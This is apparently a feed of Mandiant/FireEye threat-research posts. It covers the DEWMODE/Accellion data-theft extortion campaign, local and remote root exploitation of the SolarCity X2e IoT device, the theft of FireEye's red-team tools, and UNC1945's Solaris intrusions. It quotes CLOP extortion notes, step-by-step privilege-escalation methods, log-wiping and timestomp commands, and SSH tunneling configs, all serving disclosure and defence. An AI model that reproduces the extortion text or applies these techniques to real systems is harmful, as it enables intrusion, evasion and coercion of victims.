DEWMODE. GET //courier/cache.js.gz HTTP/1.1” 200 35654360 “-” “-” “python-requests/2.24.0” TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 Figure 7: cache.js.gz file request UNC2582 Data Theft Extortion Shortly after installation of the web shell, in multiple cases within hours, UNC2546 leveraged DEWMODE to download files from compromised FTA instances. While the actors’ motivations were not immediately clear, several weeks after delivery of the DEWMODE web shell, victims began to receive extortion emails from an actor claiming association with the CLOP ransomware team (Figure 8 and Figure 9). The actors threatened to publish data on the “CL0P^_- LEAKS” .onion shaming website, unless the victim paid an extortion fee. We are tracking the subsequent extortion activity under a separate threat cluster, UNC2582. Despite tracking the exploitation and extortion activity in separate threat clusters we have observed at least one case where an actor interacted with a DEWMODE web shell from a host that was used to send UNC2582-attributed extortion email. Hello! Your network has been hacked, a lot of valuable data stolen. <description of stolen data, including the total size of the compressed files> We are the CLOP ransomware team, you can google news and articles about us. We have a website where we publish news and stolen files from companies that have refused to cooperate. Here is his address http://[redacted].onion/ – use TOR browser or http://[redacted].onion.dog/ – mirror. We are visited by 20-30 thousand journalists, IT experts, hackers and competitors every day. We suggest that you contact us via chat within 24 hours to discuss the current situation. <victim-specific negotiation URL> – use TOR browser We don’t want to hurt, our goal is money. We are also ready to provide any evidence of the presence of files with us. Figure 8: Extortion Note Template 1 This is the last warning! If you don’t get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site),  send messages to all the emails that we received from your files. Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment. Do not let this happen, write to us in chat or email and we will discuss the situation! CHAT:  <victim-specific negotiation URL> EMAIL: [email protected] USE TOR BROWSER! Figure 9: Extortion Note Template 2 Based on observations at several engagements, UNC2582 appears to follow a pattern of escalation to pressure victims into paying extortion demands. Initial emails are sent from a free email account, likely unique per victim, to a seemingly limited distribution of addresses at the victim organization. If the victim does not respond in a timely manner, additional emails are sent to a much larger number of recipients from hundreds or thousands of different email accounts and using varied SMTP infrastructure. In at least one case, UNC2582 also sent emails  to partners of the victim organization that included links to the stolen data and negotiation chat. Monitoring of the CL0P^_- LEAKS shaming website has demonstrated that UNC2582 has followed through on threats to publish stolen data as several new victims have appeared on the site in recent weeks, including at least one organization that has publicly confirmed that their Accellion FTA device had been recently targeted. Key Overlaps With FIN11 UNC2582 (Extortion) and FIN11 Mandiant identified overlaps between UNC2582’s data theft extortion activity and prior FIN11 operations, including common email senders and the use of the CL0P^_- LEAKS shaming site. While FIN11 is known for deploying CLOP ransomware, we have previously observed the group conduct data theft extortion without ransomware deployment, similar to these cases. Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020, including some of the last campaigns that were clearly attributable to the group. We have not observed FIN11 phishing activity in the new year. FIN11 has typically paused their phishing operations over the winter holidays and had several extended gaps in their operations. However, the timing of this current hiatus is also consistent with UNC2582’s data theft extortion activity. UNC2582 extortion emails contained a link to the CL0P^_- LEAKS website and/or a victim specific negotiation page. The linked websites were the same ones used to support historical CLOP operations, a series of ransomware and data theft extortion campaigns we suspect can be exclusively attributed to FIN11. UNC2546 (FTA Exploitation and DEWMODE) and FIN11 There are also limited overlaps between FIN11 and UNC2546. Many of the organizations compromised by UNC2546 were previously targeted by FIN11. An IP address that communicated with a DEWMODE web shell was in the “Fortunix Networks L.P.” netblock, a network frequently used by FIN11 to host download and FRIENDSPEAK command and control (C2) domains. Implications The overlaps between FIN11, UNC2546, and UNC2582 are compelling, but we continue to track these clusters separately while we evaluate the nature of their relationships. One of the specific challenges is that the scope of the overlaps with FIN11 is limited to the later stages of the attack life cycle. UNC2546 uses a different infection vector and foothold, and unlike FIN11, we have not observed the actors expanding their presence across impacted networks. We therefore have insufficient evidence to attribute the FTA exploitation, DEWMODE, or data theft extortion activity to FIN11. Using SQL injection to deploy DEWMODE or acquiring access to a DEWMODE shell from a separate threat actor would represent a significant shift in FIN11 TTPs, given the group has traditionally relied on phishing campaigns as its initial infection vector and we have not previously observed them use zero-day vulnerabilities.   Acknowledgements David Wong, Brandon Walters, Stephen Eckels and Jon Erickson Indicators of Compromise (IOCs) DEWMODE Web Shells MD5 SHA256 2798c0e836b907e8224520e7e6e4bb42 5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b bdfd11b1b092b7c61ce5f02ffc5ad55a 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 UNC2546 Source IP Addresses The following source IP addresses were observed in multiple UNC2546 intrusions: 45.135.229.179 79.141.162.82 155.94.160.40 192.154.253.120 192.52.167.101 194.88.104.24 Detections FireEye Detections FE_Webshell_PHP_DEWMODE_1 FEC_Webshell_PHP_DEWMODE_1 Webshell.PHP.DEWMODE Mandiant Security Validation A101-515 Malicious File Transfer – DEWMODE Webshell, Upload, Variant #1 A101-516 Malicious File Transfer – DEWMODE Webshell, Upload, Variant #2 DEWMODE YARA Rule The following YARA rule is not intended to be used on production systems or to inform blocking rules without first being validated through an organization’s own internal testing processes to ensure appropriate performance and limit the risk of false positives. This rule is intended to serve as a starting point for hunting efforts to identify DEWMODE payloads; however, it may need adjustment over time if the malware family changes. rule DEWMODE_PHP_Webshell {     strings:         $s1 = /if $$isset\(\_REQUEST$[\x22\x27]dwn[\x22\x27]]$$[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset$$\_REQUEST\[[\x22\x27]fn[\x22\x27]$$$\)\s{0,256}\{/$s2 = “<th>file_id</th>”         $s3 = “<th>path</th>”$s4 = “<th>file_name</th>”         $s5 = “<th>uploaded_by</th>”$s6 = “target=\\\”_blank\\\”>Download</a></td>”         $s7 = “Content-Type: application/octet-stream”$s8 = “Content-disposition: attachment; filename=”     condition:         all of them }

• Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part Two)
by Jake Valletta on February 17, 2021 at 1:00 pm

In this post, we continue our analysis of the SolarCity ConnectPort X2e Zigbee device (referred to throughout as X2e device). In Part One, we discussed the X2e at a high level, performed initial network-based attacks, then discussed the hardware techniques used to gain a remote shell on the X2e device as a non-privileged system user. In this segment, we’ll cover how we obtained a privileged shell on the device locally using power glitching attacks, and explore CVE-2020-12878, a vulnerability we discovered that permitted remote privilege escalation to the root user. Combined with CVE-2020-9306 (discussed in Part One), this would result in a complete remote compromise of the X2e device. Technical Analysis Recap Before we dive into next steps, let’s recap where we left off: The X2e has an exposed universal asynchronous transmit/receive (UART) interface, which allows a physically connected user to view (but not interrupt) the Das U-Boot (U-Boot) boot process, and given proper credentials, authenticate to the Linux operating system. Since we do not have root credentials, we put this thread on the backburner. We have a full NAND dump of the Spansion raw flash, which includes boot configuration, bootloader firmware, filesystems, and the Linux kernel image. This was used previously in Part One to obtain the hardcoded credential for the python user. Knowing that UART is present and access to the bootloader would be extremely valuable, we decided to revisit that thread. Gaining Privileged Access Locally Revisiting the Bootloader Figure 1 shows the U-Boot boot process displayed while connected via UART connection. In some cases, it is possible to send keyboard input to the device during a set period (usually one to four seconds) when the bootloader presents the message, “Hit any key to stop autoboot,” which interrupts the boot process and drops the user into a U-Boot shell. On the X2e, this feature has been disabled by setting the U-Boot configuration parameter CONFIG_BOOTDELAY to 0. Figure 1: Uninterruptable U-Boot bootloader output One attack that has been documented to be successful to disrupt autoboot is to manipulate the bootloader’s ability to access the flash storage during the boot process. In certain circumstances where the U-Boot bootloader is unable to access its own configuration, it fails into a default environment, which may be less restricted. We decided to see if this would be possible on the X2e. These attacks, known as glitch attacks (or more officially known as fault-injection), are a type of side channel attack that attempts to cause a microcontroller unit (MCU) to skip instructions, perform wrong instructions, or fail to access flash memory. Various types of glitching attacks exist including electrical, thermal, and radiation. Based on our objective, we opted to try glitching the power between the MCU and the Spansion NAND flash. Note that glitch attacks can often cause damage to the components on a board or put the device in an unusable state. These types of attacks should be tested as either a last resort or against a secondary device you are comfortable with damaging. Glitching the Bootloader Based on previous research in this domain, we opted to target the data lines (I/O) between the MCU and NAND flash. Recall from Part One that the NAND flash on the X2e was the Spansion S34ML01G1, which was a 63-pin ball grid array (BGA) package. This chip is capable of supporting both 8-bit and 16-bit bus width, which corresponds to the number of I/O lines utilized. By using the datasheet for the flash and then querying the ONFI Device ID of our chip, we determined our chip was utilizing the 8-bit configuration, meaning eight I/O lines were present between the NAND flash and the MCU. For this attack, we focused on manipulating the power on the first (I/O0) data line. Figure 2 shows the configuration of the BGA-63 pins, with I/O0 highlighted. Figure 2: Identifying I/O0 for NAND chip in the Spansion datasheet Because the pins are actually underneath the flash package, we needed to find an exposed lead that corresponded to I/O0 elsewhere on the PCB. One such method for tracing connections across a PCB is a continuity test. A continuity test (using a multimeter) sends a low current electrical signal across two points and produces an audible beep if the points are connected. Using this technique, we located an exposed test point (known as a via) on the bottom of the PCB. Figure 3 shows the I/O0 pin on the top of the PCB (under the NAND chip), and Figure 4 shows the I/O0 pin exposed on the bottom of the PCB. Figure 3: I/O0 on top of PCB (under NAND chip) Figure 4: I/O0 on bottom of PCB With exposed access to I/O0 located, we experimented with connecting this pin directly to a known ground (GND) pin at various points during the boot process. Figure 5 shows the device powering on with the metal tweezers connecting I/O0 to GND. Figure 5: Shorting I/O0 to GND While connected to the UART interface, we noted several different outcomes. When shorting the pin immediately after powering on, the device failed to produce any output or boot. When shorting after the bootloader finished loading (and handing off to the Linux kernel), the device would also force reboot. However, when timed perfectly between the bootloader loading and attempting to read its configuration, we noted that the bootloader would present different output, and the option to interrupt the boot process was possible with a four-second delay. By pressing keyboard input, we were successfully able to drop into a U-Boot shell, which is shown in Figure 6. Figure 6: Access to U-Boot bootloader shell While this was great progress, we noted that the current failback bootloader configuration was completely inoperable and certain NAND blocks had been marked as bad (as expected). To get our device back to a working state, we needed to revisit the NAND dump we generated in Part One. Repairing the Bootloader Configuration While the current configuration provided us a working shell, we needed to fix the damage we had done. This was performed in two steps: fixing the mistakenly marked bad blocks and then rebuilding the configuration. In our case, the nand utility and its sub-commands read, write, and scrub allowed us to inspect and manipulate pages and blocks of the NAND. The nand scrub command with a valid offset and size could be used to completely reset a segment of the NAND, which removed any bad block markers. The next challenge was determining what needed to be replaced in the damaged blocks and rebuilding the configuration. Since we had a valid NAND image, we revisited the sections read by the bootloader to determine what changes were needed. The format did not match a known format, so we wrote a simple parser in Python to read the binary structure, shown in Figure 7. Figure 7: Parsing bootloader nvram configuration from flash With details of how the configuration should look, we used the nand write to rebuild this section, byte by byte with the correct details. We also set the boot delay to be four seconds, so that we could always interrupt the bootloader once the new configuration was committed. Once we confirmed our changes were stable, we saved the configuration to flash and could access the bootloader without performing the aforementioned glitch attack. Accessing Linux as root User Now that we have unrestricted access to the bootloader, we can finally influence the rest of the boot process and achieve a privileged shell. We alluded to this in Part One, but the easiest way to turn an unlocked U-Boot shell into a root Linux shell is to adjust the boot arguments that U-Boot passes to the Linux kernel. In our case, this was accomplished by using the setenv utility to change the std_bootarg environment variable to be init=/bin/sh and instructing U-Boot to resume the standard boot process. Figure 8 shows the Linux shell presented over UART. Figure 8: root shell after bootloader At this point, we’ve demonstrated a repeatable method for achieving local privilege escalation. In the final segment, we’ll complete our attack by exploring an avenue to remotely escalate privileges. Gaining Privileged Access Remotely Since the X2e has only two available listening network services, it makes sense to reinvestigate these services. During Part One, we identified hardcoded credentials for the limited user python. This was useful for initial probing of the device while it was running, but where do we go from here? Embedded devices typically only have a handful of users, with a majority of functionality being performed by the root user. This presents an interesting opportunity for us to abuse overlap between actions performed by the root user on contents owned and controlled by the python user. By reviewing the boot process, we noted a large number of custom init scripts in the /etc/init.d/ directory. These scripts are executed at system start by the root user and were responsible for starting daemons and ensuring directories or files exist. One file in particular, /etc/init.d/S50dropbear.sh, was interesting to us, as it appeared to perform a number of actions on files within the directory specified by the $PYTHON_HOME variable, which was /WEB/python/, shown in Figure 9. Figure 9: Unsafe operations on$PYTHON_HOME directory At first glance this may seem benign but considering that the /WEB/python/ directory is controllable by the python user, it means that we can potentially control actions taken by root. More specifically, the chown operation is dangerous, as the previous mkdir command can fail silently and result in an unsafe chown operation. To weaponize this, we can use symbolic links to point the /WEB/python/.ssh/ to other areas of the filesystem and coerce the root process into chown’ing these files to be owned by the python user. The process we took to exploit this was as follows: Authenticate over SSH using hardcoded python user credentials. Create a symbolic link, /WEB/python/.ssh, that points to /etc/init.d/. Reboot the X2e, forcing the system to re-execute /etc/init.d/S50dropbear.sh. After boot completes, create a malicious init script in /etc/init.d/ as the python user. Reboot the X2e, forcing the system to execute the new init script. While not the cleanest approach (it requires two reboots), it accomplishes the goal of achieving code execution as root. Figure 10 shows the output of our proof of concept. In this case, our malicious init script spawned a bind shell on TCP port 8080, so that we could connect in as root. Figure 10: Exploiting chown vulnerability to gain shell as user root And there we have it: a remote connection as root, by abusing two separate vulnerabilities. While not explored in this series, another viable avenue of attack would be to explore potential vulnerabilities in the web server listening on TCP ports 80 and 443; however, this was not an approach that we took. Conclusion We covered a wide variety of topics in this two-part series, including: Physical device inspection Identifying and exploring physical debugging interfaces (UART) Chip-off techniques to remove the NAND storage Binary analysis of the filesystems and bootloader configurations Power glitch attacks against the U-Boot bootloader Linux user space privilege escalation We hope that readers were able to learn from our experiences with the X2e and will be inspired to use these techniques in their own analysis. Finally, Mandiant would like to thank both Tesla/SolarCity and Digi International for their efforts to remediate these vulnerabilities and for their cooperation with releasing this blog series.

• Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part One)
by Jake Valletta on February 17, 2021 at 1:00 pm

• Phishing Campaign Leverages WOFF Obfuscation and Telegram Channels for Communication
by Bernard Sapaden on January 26, 2021 at 8:45 pm

• Training Transformers for Cyber Security Tasks: A Case Study on Malicious URL Prediction
by Ethan M. Rudd on January 21, 2021 at 5:30 pm

• Emulation of Kernel Mode Rootkits With Speakeasy
by Andrew Davis on January 20, 2021 at 4:45 pm

• Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452
by Mike Burns on January 19, 2021 at 2:00 pm

by Stephen Eckels on December 24, 2020 at 8:15 pm

• Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor
by FireEye on December 13, 2020 at 10:00 pm

• Unauthorized Access of FireEye Red Team Tools
by FireEye on December 8, 2020 at 9:00 pm

Overview A highly sophisticated state-sponsored adversary stole FireEye Red Team tools. Because we believe that an adversary possesses these tools, and we do not know whether the attacker intends to use the stolen tools themselves or publicly disclose them, FireEye is releasing hundreds of countermeasures with this blog post to enable the broader security community to protect themselves against these tools. We have incorporated the countermeasures in our FireEye products—and shared these countermeasures with partners, government agencies—to significantly limit the ability of the bad actor to exploit the Red Team tools. You can find a list of the countermeasures on the FireEye GitHub repository found HERE . Red Team Tools and Techniques A Red Team is a group of security professionals authorized and organized to mimic a potential adversary’s attack or exploitation capabilities against an enterprise’s security posture. Our Red Team’s objective is to improve enterprise cyber security by demonstrating the impacts of successful attacks and by showing the defenders (i.e., the Blue Team) how to counter them in an operational environment. We have been performing Red Team assessments for customers around the world for over 15 years. In that time, we have built up a set of scripts, tools, scanners, and techniques to help improve our clients’ security postures. Unfortunately, these tools were stolen by a highly sophisticated attacker. The stolen tools range from simple scripts used for automating reconnaissance to entire frameworks that are similar to publicly available technologies such as CobaltStrike and Metasploit. Many of the Red Team tools have already been released to the community and are already distributed in our open-source virtual machine, CommandoVM. Some of the tools are publicly available tools modified to evade basic security detection mechanisms. Other tools and frameworks were developed in-house for our Red Team. No Zero-Day Exploits or Unknown Techniques The Red Team tools stolen by the attacker did not contain zero-day exploits. The tools apply well-known and documented methods that are used by other red teams around the world. Although we do not believe that this theft will greatly advance the attacker’s overall capabilities, FireEye is doing everything it can to prevent such a scenario.  It’s important to note that FireEye has not seen these tools disseminated or used by any adversaries, and we will continue to monitor for any such activity along with our security partners. Detections to Help the Community To empower the community to detect these tools, we are publishing countermeasures to help organizations identify these tools if they appear in the wild. In response to the theft of our Red Team tools, we have released hundreds of countermeasures for publicly available technologies like OpenIOC, Yara, Snort, and ClamAV. A list of the countermeasure is available on the FireEye GitHub repository found here. We are releasing detections and will continue to update the public repository with overlapping countermeasures for host, network, and file-based indicators as we develop new or refine existing detections. In addition, we are publishing a list of CVEs that need to be addressed to limit the effectiveness of the Red Team tools on the GitHub page. FireEye Products Protect Customers Against These Tools Teams across FireEye have worked to build the countermeasures to protect our customers and the broader community. We have incorporated these countermeasures into our products and shared these countermeasures with our partners, including the Department of Homeland Security, who have incorporated the countermeasures into their products to provide broad coverage for the community. More information on the detection signatures available can be found in the GitHub repository.

• Using Speakeasy Emulation Framework Programmatically to Unpack Malware
by James T. Bennett on December 1, 2020 at 8:30 pm

• Election Cyber Threats in the Asia-Pacific Region
by Yihao Lim on November 22, 2020 at 11:00 pm

• WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques
by Stephen Eckels on November 9, 2020 at 7:00 pm

• In Wild Critical Buffer Overflow Vulnerability in Solaris Can Allow Remote Takeover — CVE-2020-14871
by Jacob Thompson on November 4, 2020 at 7:00 pm

• Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945
by Justin Moore on November 2, 2020 at 7:15 pm

Through Mandiant investigation of intrusions, the FLARE Advanced Practices team observed a group we track as UNC1945 compromise managed service providers and operate against a tailored set of targets within the financial and professional consulting industries by leveraging access to third-party networks (see this blog post for an in-depth description of “UNC” groups). UNC1945 targeted Oracle Solaris operating systems, utilized several tools and utilities against Windows and Linux operating systems, loaded and operated custom virtual machines, and employed techniques to evade detection. UNC1945 demonstrated access to exploits, tools and malware for multiple operating systems, a disciplined interest in covering or manipulating their activity, and displayed advanced technical abilities during interactive operations. Mandiant discovered and reported to Oracle CVE-2020-14871, which was addressed in Oracle’s October 2020 Critical Patch Update. Mandiant recommends staying current on all current patch updates to ensure a high security posture. We will discuss this vulnerability in greater detail in a follow up blog post. UNC1945 Attack Lifecycle The threat actor demonstrated experience and comfort by utilizing unique tactics, techniques and procedures (TTPs) within Unix environments, demonstrating a high level of acumen in conjunction with ease of operability in Microsoft Windows operating systems. They were successful navigating multiple segmented networks and leveraging third-party access to extend operations well beyond the initial victim. Furthermore, UNC1945 operated from several virtual machines pre-configured with post-exploitation tools in addition to their custom toolset to evade detection and forensics. Initial Compromise In late 2018, UNC1945 gained access to a Solaris server and installed a backdoor we track as SLAPSTICK in order to capture connection details and credentials to facilitate further compromise. The SSH service of this server was exposed to the internet at the time, the same time we observed first evidence of threat activity. Unfortunately, due to insufficient available evidence, the next indication of activity was in mid-2020 at which time a different Solaris server was observed connecting to the threat actor infrastructure. This indicates a dwell time of approximately 519 days based on recovered artifacts. Although we were unable to determine how the late-2018 initial access was accomplished, we did observe successful UNC1945 SSH connections directly to the victim Solaris 10 server, since the SSH service was exposed directly to the internet at the time. In mid-2020, we observed UNC1945 deploy EVILSUN—a remote exploitation tool containing a zero-day exploit for CVE-2020-14871—on a Solaris 9 server. At the time, connections from the server to the threat actor IP address were observed over port 8080.Mandiant discovered and reported CVE-2020-14871, a recently patched vulnerability in the Oracle Solaris Pluggable Authentication Module (PAM) that allows an unauthenticated attacker with network access via multiple protocols to exploit and compromise the operating system. According to an April 2020 post on a black-market website, an “Oracle Solaris SSHD Remote Root Exploit” was available for approximately $3,000 USD, which may be identifiable with EVILSUN. Additionally, we confirmed a Solaris server exposed to the internet had critical vulnerabilities, which included the possibility of remote exploitation without authentication. Establish Foothold and Maintain Persistence The threat actor used a Solaris Pluggable Authentication Module backdoor we refer to as SLAPSTICK to establish a foothold on a Solaris 9 server. This facilitated user access to the system with a secret hard-coded password and allowed the threat actors to escalate privileges and maintain persistence (see Figure 1). Log –font –unix | /usr/lib/ssh/sshd sshd kbdint – can <Encoded Password> <IP REDACTED> Magical Password auth.info | sshd[11800]: [ID 800047 auth.info] Accepted keyboard-interactive for root from <IP REDACTED> port 39680 ssh2 auth.notice | su: [ID 366847 auth.notice] ‘su root’ – succeeded for netcool on /dev/pts/31 Figure 1: SLAPSTICK logs At the initial victim, UNC1945 placed a copy of a legitimate pam_unix.so file and SLAPSTICK in the /lib64/security folder. A day later, the threat actor positioned a custom Linux backdoor, which Mandiant named LEMONSTICK, on the same workstation. LEMONSTICK capabilities include command execution, file transfer and execution, and the ability to establish tunnel connections. (see Figure 2). FileItem:changed | /usr/lib64/security/pam_unix,so [57720] Audit log | [audit_type: USER_END] user pid=10080 uid=0 auid=0 msg=’PAM: session close acct=root” : exe=”/usr/sbin/sshd” (hostname=1.239.171.32, addr=1.239.171.32, terminal=ssh res=success)'” FileItem:Accessed | /var/tmp/.cache/ocb_static Figure 2: UNC1945 emplacement of SLAPSTICK UNC1945 obtained and maintained access to their external infrastructure using an SSH Port Forwarding mechanism despite the host lacking accessibility to the internet directly. SSH Port Forwarding is a mechanism implemented in SSH protocol for transporting arbitrary networking data over an encrypted SSH connection (tunneling). This feature can be used for adding encryption to legacy applications traversing firewalls or with malicious intent to access internal networks from the the internet. The UNC1945 configurations we observed are similarly structured with respect to the host alias, specified options, and option order (see Figure 3). config1 config2 Host <redacted> HostName <redacted> Port 900 User <redacted> IdentityFile <redacted> KbdInteractiveAuthentication no PasswordAuthentication no NoHostAuthenticationForLocalhost yes StrictHostKeyChecking no UserKnownHostsFile /dev/null RemoteForward 33002 127.0.0.1:22 Host <redacted> HostName <redacted> Port 443 User <redacted> IdentityFile <redacted> KbdInteractiveAuthentication no PasswordAuthentication no NoHostAuthenticationForLocalhost yes StrictHostKeyChecking no UserKnownHostsFile /dev/null ServerAliveInterval 30 ServerAliveCountMax 3 RemoteForward 2224 <redacted>:22 Figure 3: SSH config files used by UNC1945 at different incidents As part of this multi-stage operation, UNC1945 dropped a custom QEMU Virtual Machine (VM) on multiple hosts, which was executed inside of any Linux system by launching a ‘start.sh’ script. The script contained TCP forwarding settings that could be used by the threat actor in conjunction with the SSH tunnels to give direct access from the threat actor VM to the command and control server to obfuscate interaction with customer infrastructure. The VM was running a version of the Tiny Core Linux OS with pre-loaded scripts and tools. Also, we analyzed the Virtual Machine file system timestamps, which coincided with UNC1945’s overall operational timeline. The VM contained numerous tools such as network scanners, exploits and reconnaissance tools. Tiny Core Linux pre-loaded tools included Mimikatz, Powersploit, Responder, Procdump, CrackMapExec, PoshC2, Medusa, JBoss Vulnerability Scanner and more. Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files. UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4.$ ./b -C -y -a $mv b /usr/lib64/libXbleach.so.1$ cd /usr/lib64/ $touch -acm -r librpmio.so.3.2.2$ touch -acm -r libyaml-0.so.2 Figure 4: LOGBLEACH To further obfuscate activity, a Linux ELF packer named STEELCORGI was executed in memory on the Solaris system. The malware contains various anti-analysis techniques, including anti-debugging, anti-tracing, and string obfuscation. It uses environment variables as a key to unpack the final payload. Escalate Privileges and Lateral Movement After successfully establishing a foothold, UNC1945 collected credentials, escalated privileges, and successfully moved laterally through multiple networks. UNC1945 obtained credentials via SLAPSTICK and open source tools such as Mimikatz, which enabled easy lateral movement throughout networks to obtain immediate access to other segments of the network and third-party environments. Stolen credentials collected by SLAPSTICK were used to traverse the customer network via SSH and deploy SLAPSTICK to additional hosts. After successfully authenticating, SLAPSTICK displays a welcome message, as seen in Figure 5. Figure 5: SLAPSTICK backdoor welcome banner UNC1945 used ProxyChains to download PUPYRAT, an open source, cross-platform multi-functional remote administration and post-exploitation tool mainly written in Python. At one target, the threat actor used a virtual machine to initiate a brute-force of SSH targeting Linux and HP-UX endpoints. Beginning with seemingly random usernames and shifting to legitimate Linux and Windows accounts, the threat actor successfully established SSH connections on a Linux endpoint. After successfully escalating privileges on an HP-UX endpoint and a Linux endpoint, UNC1945 installed three backdoors: SLAPSTICK, TINYSHELL, and OKSOLO. We observed UNC1945 use IMPACKET with SMBEXEC in a Microsoft Windows environment to execute commands remotely without the need to upload a payload to the target. SMBEXEC allows the threat actor to operate like PsExec, but without using RemComSvc. There are two main modes of using this tool that benefits attackers. Share mode allows the specification of a share that everything will be executed through. Server mode permits the output of the executed commands to be sent back by the target machine into a locally shared folder. At one victim, we observed UNC1945 moving laterally via Remote Desktop Protocol (RDP) to a Windows server before viewing the Server Manager Panel, viewing and modifying RDP-related system firewall rules and checking the application settings of two endpoint security services. Internal Reconnaissance Mandiant investigations found that the threat actor maintains various tools to interact with victim networks. In addition to custom tools, the UNC1945 VMs contained various tools (e.g. network scanners, exploits and reconnaissance; see Associated Tools and Malware section). In some intrusions, UNC1945 employed a SPARC executable identified as a reconnaissance tool. Based on publicly available information, this executable could be referred to as Luckscan or BlueKeep, the latter of which is part of the BKScan toolkit (see Figure 6). Figure 6: SPARC executable recon tool command line used by the threat actor According to open sources, BlueKeep, aka “bkscan” scanner, works both unauthenticated and authenticated (i.e. when Network Level Authentication is enabled). BlueKeep (CVE-2019-0708) is a security vulnerability that was discovered in Microsoft’s Remote Desktop Protocol (RDP) implementation, which allows for the possibility of remote code execution. Complete Mission Despite this multi-staged operation, Mandiant did not observe evidence of data exfiltration and was unable to determine UNC1945’s mission for most of the intrusions we investigated. In at least one case, we observed ROLLCOAST ransomware deployment in the final phase of the threat actor activity, but Mandiant didn’t attribute this activity to UNC1945. At this time, it is likely that access to the victim environment was sold to another group. Conclusion The ease and breadth of exploitation in which UNC1945 conducted this campaign suggests a sophisticated, persistent actor comfortable exploiting various operating systems, and access to resources and numerous toolsets. Given the aforementioned factors, use of zero-day exploits and virtual machines, and ability to traverse multiple third-party networks, Mandiant expects this motivated threat actor to continue targeted operations against key industries while taking advantage of operating systems that likely have inadequate security visibility.      Associated Tools and Malware Families EVILSUN is a remote exploitation tool that gains access to Solaris 10 and 11 systems of SPARC or i386 architecture using a vulnerability (CVE-2020-14871) exposed by SSH keyboard-interactive authentication. The remote exploitation tool makes SSH connections to hosts passed on the command line. The default port is the normal SSH port (22), but this may be overridden. EVILSUN passes the banner string SSH-2.0-Sun_SSH_1.1.3 over the connection in clear text as part of handshaking. LEMONSTICK is a Linux executable command line utility with backdoor capabilities. The backdoor can execute files, transfer files, and tunnel connections. LEMONSTICK can be started in two different ways: passing the -c command line argument (with an optional file) and setting the ‘OCB’ environment variable. When started with the -c command line argument, LEMONSTICK spawns an interactive shell. When started in OCB mode, LEMONSTICK expects to read from STDIN. The STDIN data is expected to be encrypted with the blowfish algorithm. After decrypting, it dispatches commands based on the name—for example: ‘executes terminal command’, ‘connect to remote system’, ‘send & retrieve file’, ‘create socket connection’. LOGBLEACH is an ELF utility that has a primary functionality of deleting log entries from a specified log file(s) based on a filter provided via command line. The following log files are hard coded in the malware, but additional log paths may be specified: /var/run/utmp /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/faillog /var/log/syslog /var/log/messages /var/log/secure /var/log/auth.log OKSOLO is a publicly available backdoor that binds a shell to a specified port. It can be compiled to support password authentication or dropped into a root shell. OPENSHACKLE is a reconnaissance tool that collects information about logged-on users and saves it to a file. OPENSHACKLE registers Windows Event Manager callback to achieve persistence. ProxyChains allows the use of SSH, TELNET, VNC, FTP and any other internet application from behind HTTP (HTTPS) and SOCKS (4/5) proxy servers. This “proxifier” provides proxy server support to any application. PUPYRAT (aka Pupy) is an open source, multi-platform (Windows, Linux, OSX, Android), multi-function RAT (Remote Administration Tool) and post-exploitation tool mainly written in Python. It features an all-in-memory execution guideline and leaves very low footprint. It can communicate using various transports, migrate into processes (reflective injection), and load remote Python code, Python packages and Python C-extensions from memory. STEELCORGI is a packer for Linux ELF programs that uses key material from the executing environment to decrypt the payload. When first starting up, the malware expects to find up to four environment variables that contain numeric values. The malware uses the environment variable values as a key to decrypt additional data to be executed. SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password. TINYSHELL is a lightweight client/server clone of the standard remote shell tools (rlogin, telnet, ssh, etc.), which can act as a backdoor and provide remote shell execution as well as file transfers. Detections FE_APT_Trojan_Linux_STEELCORGI_1 FE_APT_Trojan_Linux_STEELCORGI_2 FE_HackTool_Linux64_EVILSUN_1 FE_HackTool_Linux_EVILSUN_1 HackTool.Linux.EVILSUN.MVX HXIOC UUID: e489ce60-f315-4d1a-a888-77782f687eec EVILSUN (FAMILY) 90005075FE_Trojan_Linux_LEMONSTICK_1 FE_APT_Tool_Win32_OPENSHACKLE_1 FE_APT_Tool_Win_OPENSHACKLE_1 HXIOC UUID: 4a56fb0c-6134-4450-ad91-0f622a92701c OPENSHACKLE (UTILITY) 90005006 FE_APT_Backdoor_Linux64_SLAPSTICK_1 FE_APT_Backdoor_Linux_SLAPSTICK_1 FE_Backdoor_Win_PUPYRAT_1 FE_APT_Pupy_RAT FE_Ransomware_Win64_ROLLCOAST_1 FE_Ransomware_Win_ROLLCOAST_1 HXIOC, 45632ca0-a20b-487f-841c-c74ca042e75a; ROLLCOAST RANSOMWARE (FAMILY) Ransomware.Win.ROLLCOAST.MVX Hashes d5b9a1845152d8ad2b91af044ff16d0b (SLAPSTICK) 0845835e18a3ed4057498250d30a11b1 (STEELCORGI) 6983f7001de10f4d19fc2d794c3eb534 2eff2273d423a7ae6c68e3ddd96604bc d505533ae75f89f98554765aaf2a330a abaf1d04982449e0f7ee8a34577fe8af Netblocks 46.30.189.0/24 66.172.12.0/24 ATT&CK Tactic Category Techniques Initial Access T1133 External Remote Services T1190 Exploit Public-Facing Application Execution T1059 Command and Scripting Interpreter T1059.001 PowerShell T1064 Scripting Persistence T1133 External Remote Services Lateral Movement T1021.001 Remote Desktop Protocol T1021.004 SSH Defense Evasion T1027 Obfuscated Files or Information T1070.004 File Deletion T1070.006 Timestomp 